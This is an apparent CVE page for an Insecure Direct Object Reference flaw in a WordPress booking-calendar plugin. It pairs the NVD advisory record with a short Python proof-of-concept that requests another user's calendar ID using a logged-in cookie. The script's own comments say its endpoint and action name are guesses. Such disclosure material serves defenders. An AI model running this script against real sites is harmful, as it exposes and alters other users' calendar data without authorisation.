CVE-2026-6810

import requests def check_idor(target_url, cookie, victim_calendar_id): """ PoC for CVE-2026-6810: IDOR in Booking Calendar Contact Form. Attempts to access a calendar ID belonging to another user. """ headers = { "Cookie": cookie, "User-Agent": "PoC-Client/1.0" } # Targeting the vulnerable endpoint mentioned in the advisory # Note: The exact endpoint parameter structure might vary based on plugin implementation payload = { "action": "dex_bccf_get_calendar_list", # Example action "id": victim_calendar_id # The vulnerable user-controlled key } try: response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:", response.text[:200]) # Analyze response to confirm data leakage if "calendar_details" in response.text: print("[!] Potential IDOR vulnerability confirmed: Data exposed.") else: print("[-] Data not exposed in response.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage Example # check_idor("http://example.com/wp-admin/admin-ajax.php", "wordpress_logged_in...", "2")

{"cve": {"id": "CVE-2026-6810", "sourceIdentifier": "[email protected]", "published": "2026-04-24T06:16:08.790", "lastModified": "2026-04-24T14:38:26.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Booking Calendar Contact Form plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.2.63 via the dex_bccf_admin_int_calendar_list.inc.php file due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to takeover other user's calendars and view user data associated with the calendar."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/booking-calendar-contact-form/tags/1.2.63/dex_bccf.php#L608", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-calendar-contact-form/tags/1.2.63/dex_bccf_admin_int_calendar_list.inc.php#L38", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-calendar-contact-form/tags/1.2.63/dex_bccf_admin_int_calendar_list.inc.php#L71", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-calendar-contact-form/trunk/dex_bccf.php#L608", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-calendar-contact-form/trunk/dex_bccf_admin_int_calendar_list.inc.php#L38", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-calendar-contact-form/trunk/dex_bccf_admin_int_calendar_list.inc.php#L71", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3512197%40booking-calendar-contact-form&new=3512197%40booking-calendar-contact-form&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a3977d10-239d-4b83-ab0c-ad165485498d?source=cve", "source": "[email protected]"}]}}